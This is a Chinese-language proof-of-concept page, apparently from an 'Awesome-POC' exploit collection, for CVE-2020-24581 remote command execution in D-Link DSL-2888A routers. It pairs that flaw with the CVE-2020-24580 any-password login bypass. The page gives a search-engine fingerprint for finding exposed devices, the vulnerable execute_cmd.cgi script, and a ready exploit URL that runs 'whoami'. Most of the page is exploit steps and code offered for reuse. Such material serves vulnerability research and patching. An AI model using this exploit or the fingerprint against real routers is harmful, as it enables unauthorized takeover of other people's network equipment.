Awesome-POC/网络设备漏洞/D-Link DSL-28881A 远程命令执行 CVE-2020-24581.md
2024-11-06 14:10:36 +08:00

91 lines
2.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# D-Link DSL-28881A 远程命令执行 CVE-2020-24581
## 漏洞描述
D-Link DSL-2888A AU_2.31_V1.1.47ae55之前版本存在安全漏洞该漏洞源于包含一个execute cmd.cgi特性(不能通过web用户界面访问),该特性允许经过身份验证的用户执行操作系统命令。
在该版本固件中同时存在着一个不安全认证漏洞CVE-2020-24580在登录界面输入任意密码就可以成功访问路由器界面。
## 漏洞影响
```
D-Link DSL-2888A
```
## 网络测绘
```
body="DSL-2888A"
```
## 漏洞复现
登录页面输入任意密码建立连接
![](images/202202162221283.png)
跳转到 http://xxx.xxx.xxx.xxx/page/login/login.html?error=fail 显示密码错误
漏洞出现在 **execute_cmd.cgi** 文件中
```bash
#!/bin/sh
. /usr/syscfg/api_log.sh
cmd=`echo ${QUERY_STRING} | cut -d = -f 3`
cmd=`echo ${cmd} | tr "%20" " "`
result=`${cmd}`
TGP_Log ${TGP_LOG_WARNING} "cmd=${cmd}, result=${result}"
echo "Content-type: text/html"
echo ""
echo -n ${result}
```
这里取出 **${QUERY_STRING}** 中的第二个参数值,然后去除空格命令执行
在这个过程中并没有过滤,看一下参数从哪来的
文件 **/www/js/ajax.js**
```javascript
get : function(_dataType)
{
var _url = this.url;
if(_url.indexOf('?') == -1)
_url += '?timestamp=' + new Date().getTime();
else
_url += "&timestamp=" + new Date().getTime();
if(this.queryString.length > 0)
_url += "&" + this.queryString;
this.xmlHttp.open("GET", _url, true);
/* will make IE11 fail.
if(!document.all){
if(_dataType == "xml")
this.xmlHttp.overrideMimeType("text/xml;charset=utf8");
else
this.xmlHttp.overrideMimeType("text/html;charset=gb2312");//设定以gb2312编码识别数据
}
*/
this.xmlHttp.send(null);
},
```
看一下过程
```shell
┌──(root)-[/tmp]
└─# echo "timestamp=1589333279490&cmd=whoami" | cut -d = -f 3
whoami
```
这里取第二个参数 **whoami** 然后就没有过滤的执行了
所以EXP为:
```plain
http://xxx.xxx.xxx.xxx/cgi-bin/execute_cmd.cgi?timestamp=test&cmd=whoami
```
![](images/202202162221670.png)